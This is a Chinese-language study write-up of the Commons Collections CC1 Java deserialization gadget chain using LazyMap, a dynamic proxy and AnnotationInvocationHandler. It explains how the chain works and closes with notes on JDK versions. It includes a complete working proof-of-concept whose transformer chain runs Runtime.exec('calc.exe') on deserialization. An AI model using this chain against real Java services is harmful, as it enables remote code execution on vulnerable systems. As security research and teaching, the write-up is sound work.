目录
1. 前言
JDK版本需要时 8u71
之前,尽管使用了动态代理…
也就是说**LazyMap
+ 动态代理** == TransformedMap。。。。。
相比较于 TransformedMap
链相比,多出来的就是我们要了解 LazyMap
,还有动态代理。
LazyMap
的漏洞触发点和TransformedMap
唯一的差别是,TransformedMap
是在写入元素的时候执行transform()
,就是在put()
数据,写入键值对的时候,会调用它的第二个,第三个参数的 transform()
函数。还有Map.Entry
的方法,现在知道,至少setValue()
能够了。
The Map put methods and Map.Entry method are affected by this class
LazyMap
是在其 get
方法中执行的 factory.transform()
方法。 为什么是这样的呢?
像P神说的: LazyMap
的作用就是懒加载,在 get 找不到值的时候,他就会调用 factory的transform
方法去获取一个值:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
但是相比于TransformedMap
的利用方法,LazyMap
后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandler
的readObject
方法中并没有直接调用到Map
的get
方法。
那么我们就找一个类,什么类呢?,就是它会在自己readObject()
中调用到 Map.get()
方法,那么这个类就有潜能。
那么怎么去找呢?就是我们要分析的东西了
利用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
2. 前置知识
2.1 LazyMap
看一下类注释。
翻译:
装饰另一个Map
,来按照需求在map中创建对象;当 {@link #get(Object)}
这个方法被调用,且一个键不在map中,工厂将来创建对象,创建的对象将会作为需求key
的 value
,
/**
* Decorates another <code>Map</code> to create objects in the map on demand.
* <p>
* When the {@link #get(Object)} method is called with a key that does not
* exist in the map, the factory is used to create the object. The created
* object will be added to the map using the requested key.
* <p>
* For instance:
* <pre>
* Factory factory = new Factory() {
* public Object create() {
* return new Date();
* }
* }
* Map lazy = Lazy.map(new HashMap(), factory);
* Object obj = lazy.get("NOW");
* </pre>
*
* After the above code is executed, <code>obj</code> will contain
* a new <code>Date</code> instance. Furthermore, that <code>Date</code>
* instance is mapped to the "NOW" key in the map.
* <p>
* This class is Serializable from Commons Collections 3.1.
*
* @since Commons Collections 3.0
* @version $Revision: 1.7 $ $Date: 2004/05/07 23:30:33 $
*
* @author Stephen Colebourne
* @author Paul Jack
*/
public class LazyMappublic class LazyMap
extends AbstractMapDecorator
implements Map, Serializable {
构造方法:
/**
* Factory method to create a lazily instantiated map.
*
* @param map the map to decorate, must not be null
* @param factory the factory to use, must not be null
* @throws IllegalArgumentException if map or factory is null
*/
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
当这个Map
调用get()
方法,而查找的key
又不存在的情况下,这个工厂就会被用来创建新的对象,而且将被添加到这个map中。
和TransformedMap
的用法也差不多,都是用来修饰一个Map
的,看个例子就懂了
public static void main(String[] args)throws Exception {
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,new ConstantTransformer("adam"));
Object object = outerMap.get("1");
System.out.println(object);
}
outerMap.get("1")
返回的就是 ConstantTransformer("adam")
的那个transform()
方法返回的值,然后这是固定的,就是adam 了。
写一个命令执行: 触发的时候在 get()
,get什么内容随意的,上面懂了的化,自然懂。
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0]
}),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
Object object = outerMap.get("adam");
2.2 动态代理
之前学过了。我学了个shi,还是不会,
作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call
,我们需要用到 java.reflect.Proxy
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
Proxy.newProxyInstance
的第一个参数是ClassLoader
,是要被代理类的ClassLoader
。我们用默认的即可;第二个参数是我们要代理的对象集合;第三个参数是一个实现了InvocationHandler
接口的对象,里面包含了具体代理的逻辑**。也就是我们具体是如何代理的。
之类贴一个 y4 师傅的一个劫持学习一下,然后把自己不会的也补了补
package aa;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class demo1 {
public static void main(String[] args) {
/*这个是我们要被代理的实例,传入代理类的构造方法中*/
flag myflag = new GiveFlag();
InvocationHandler handler = new InvocationFlag(myflag);
// 这个差不读是固定的了
/*这个就是我们的代理实例了,代理的类型是 flag类型*/
flag getFlag = (flag) Proxy.newProxyInstance(GiveFlag.class.getClassLoader(),new Class[]{flag.class},handler);
getFlag.getFlag();
getFlag.test();
}
}
interface flag{
void getFlag();
void test();
}
class GiveFlag implements flag{
@Override
public void getFlag() {
System.out.println("your flag flag{afam_s_flag}");
}
@Override
public void test() {
System.out.println("testestset");
}
}
class InvocationFlag implements InvocationHandler{
private flag secretflag;
public InvocationFlag(flag myflag) {
this.secretflag = myflag;
}
@Override
public Object invoke(Object object, Method method, Object[] args) throws Throwable {
System.out.println("====================================");
System.out.println("开始代理了哦"); // 这个 Object object 用不上的,想要用对象的化,在构造方法中让他传参进来
if(method.getName().equals("getFlag")){
System.out.println("Hacker!! no flag");
return null;
}
System.out.println("正常的方法还是帮忙执行的呢");
Object ret = method.invoke(secretflag,args); // 知道了这里 invoke 不能使用 上面的Object,要使用 构造函数传进来的实例对象
return ret;
}
}
补充动态代理重点:
public static void main(String[] args) {
flag myflag = new GiveFlag();
/*这个是我们要被代理的实例,传入代理类的构造方法中*/
/* 这里才是决定我们使用哪一个代理类来帮助我们进行代理的,这个 InvovationFlag 是必须有 invoke() 方法,的当然,不是 new 对象也行,Class.newInstance() 这样的形式也行,只要这个类是有 invoke() 方法的就行, */
InvocationHandler handler = new InvocationFlag(myflag);
// 这个差不读是固定的了
/*这个就是我们的代理实例了,代理的类型是 flag类型 , 我们走的 invoke() 方法就看 第三个参数的 handler 的,而handler是在上面决定的*/
flag getFlag = (flag) Proxy.newProxyInstance(GiveFlag.class.getClassLoader(),new Class[]{flag.class},handler);
getFlag.getFlag();
getFlag.test();
}
用我们这个例子来说:
动态代理:需要实现类 ,然后需要代理类 ,代理类是需要我们自己写的,
然后三个参数,第一个参数不要用,要用实例的化,我们可以在我们的代理类中写一个 构造方法,然后获取到被代理类的实例,然后用invoke
执行被代理类 的方法即可,
main()
函数中,需要我们将被代理类对象实例当作参数传入代理类对象实例中InvocationHandler handler = new InvocationFlag(myflag);
。就是后面这个对象,决定了我们走 invoke()
的时候走的是哪一个 invoke()
。
然后再使用Proxy.newProxyInstance(,,第三个参数是我们的代理类对象实例,)
获取一个真正代理做事情的对象,
然后我们就用这个真正代理做事情的对象,调用任何被代理类对象实例的任何方法,都会先走代理类对象实例中写的invoke()
方法,
如果我们想做什么坏手段,都可以在代理类对象实例中写的invoke()
方法中坏事做尽
!
就是这里决定的。当然也可以这样:
3. LazyMap 分析
3.1为什么要使用动态代理
之所以会用到动态代理,就是因为如果我们不用TransformedMap
而用LazyMap
的话,AnnotationInvocationHandler
的readObject
里面并没有用到get()
,但是在invoke()
方法中却用到了:
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
我们就用它的原生的invoke()
就能够实现我们想要做的坏事了( get() --> transform()
)
3.2 漏洞触发点
先得到方法的名字和参数的类型数组,再依次对方法名称的哈希值用**switch
判断,如果不是equals,toString,hashCode和annotationType
**的话,就会进入default
:
default:
Object var6 = this.memberValues.get(var4);
这个memberVallues
属性,就是我们构造函数中传入的被装饰后的 Map
,调用了get()
方法,然后我们get()
一个不存在的属性,然后他就走transform()
方法了。就触发了就,这个 memberValues
我们也是可控的,可在其构造方法的时候传入
关键是反序列化怎么才能触发这个invoke()方法
?注意到 AnnotationInvocationHandler类
继承实现了InvocationHandler类
,看到这里我恍然大悟,怪不得和动态代理有关。实际上对动态代理熟一点的话,我看到这个类的名字也就该想到了。
因此大致的思路也就有了,用AnnotationInvocationHandler
对我们构造的Map
进行代理
,这样在readObject
中,只要调用了委托对象
的任何方法,都会进入AnnotationInvocationHandler#invoke方法
中,从而触发了漏洞。
3.3 构造poc
package ysoserial.test.adamtest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class test01 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0]
}),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc.exe" }),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
// 这里只是包装了一下要被代理的类,
Map proxymap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[] {Map.class},
handler
);
//这里我们决定了用哪一个类作为代理,我们这个对象是必须有 `invoke()` 方法的
Object o = construct.newInstance(Retention.class,proxymap);
byte[] bytes = serialize(o);
unserialize(bytes);
}
private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
ois.readObject();
}
private static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
// 这里是用 ByteArrayOutputStram()来盛放。
ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
oos.writeObject(o);
return baos.toByteArray();
}
}
这里我直接尝试序列化 proxyMap
。但是在反序列化的时候没有成功,跟了一下,是动态代理没展现出来,
一个细节上的问题就是产生了
代理
的proxyMap
后,还需要再利用它来生成一个AnnotationInvocationHandler
对象,Object o = cons.newInstance(Retention.class, proxyMap); byte[] bytes = serialize(o); unserialize(bytes);
因为要序列化和反序列化的是
AnnotationInvocationHandler
对象。
实际上,经过构造后,只要调用了AnnotationInvocationHandler
的memberValues
(也就是我们的proxyMap
)的任何方法,都会触发漏洞
4.从反序列化的角度来看poc
4.1跟着debug
我们最后是序列化AnnotationInvocationHandler
这个类,
入口时AnnotationInvocationHandler的readObject
:(其实入口可长了,我跟了好久才跟到这个的,,)
AnnotationInvocationHandler
的memberValues
是一个LazyMap的类型就是哦我们刚开始传入的代理map
然后因为是代理proxymap
,然后会走代理类的invoke()
也就是AnnotationInvocationHandler
的invoke()
。
可见,对象和方法都没错的。走到了下面的 default
。就调用了LazyMap#get()
了
后面的应该就简单了
跟着 Chaintransform 就走完了
这里的readObject
又调用了this.memberValues
的entrySet方法
。如果这里的 memberValues
是个代理类,那
么就会调用memberValues
对应handler的invoke方法
,cc1中将handler
设置为AnnotationInvocationHandler
(其实现了InvocationHandler
,所以可以被设置为代理类的handler
)。
4.2 利用链分析:
入口时AnnotationInvocationHandler的readObject
:
在 readObject
时,会触发AnnotationInvocationHandler#readObject
方法
此时调用了this.memberValues.entrySet
,而this.memberValues
是之前构造好的proxy_map
,由于这是一个被代理对象,所以调用其方法时,会去调用其的代理类,也就是handler
,的invoke
方法。
然后AnnotationInvocationHandler#invoke()
、此时的this.memberValues
为之前设置好的lazymap
,所以这里调用的是lazymap#get
,从而触发后边的rce链。
4.3 唯一比较绕的点是
我们想走AnnotationInvocationHandler
的invoke()
,然后走LazyMap#get()
。
那么我们就需要有一个被AnnotationInvocationHandler
代理的对象,来执行一个方法,从而调用AnnotationInvocationHandler
的invvoke
。那么找哪一个被代理的对象呢?
我们选的是 LazyMap
类的outermap
。然后让Map
类的proxymap
,代表AnnotationInvocationHandler
来代理Lazymap
的outermap
。
但是反序列化过程中又不好直接让outermap
执行一个方法,所以我们还是让AnnotationInvocationHandler
来帮忙,
在AnnotationInvocationHandler
的readObject()
中能让outermap
执行方法,从而调用AnnotationInvocationHandler
的invoke()
。
看起来绕,我们实例化了两次AnnotationInvocationHandler
。但其实,一次是作为代理对象使用的,一次是作为*反序列化入口使用的。
过程类似如下:
AnnotationInvocationHandler#readObject()
—>被代理对象----->AnnotationInvocationHandler#invoke()
。
这两个AnnotationInvocationHandler
不是同一个。
5. 版本问题
依旧只适用于 8u71
之前。
6.参考:
https://paper.seebug.org/1242/#_6
https://y4tacker.blog.csdn.net/article/details/117448761
https://ego00.blog.csdn.net/article/details/119705730
《java安全漫谈11》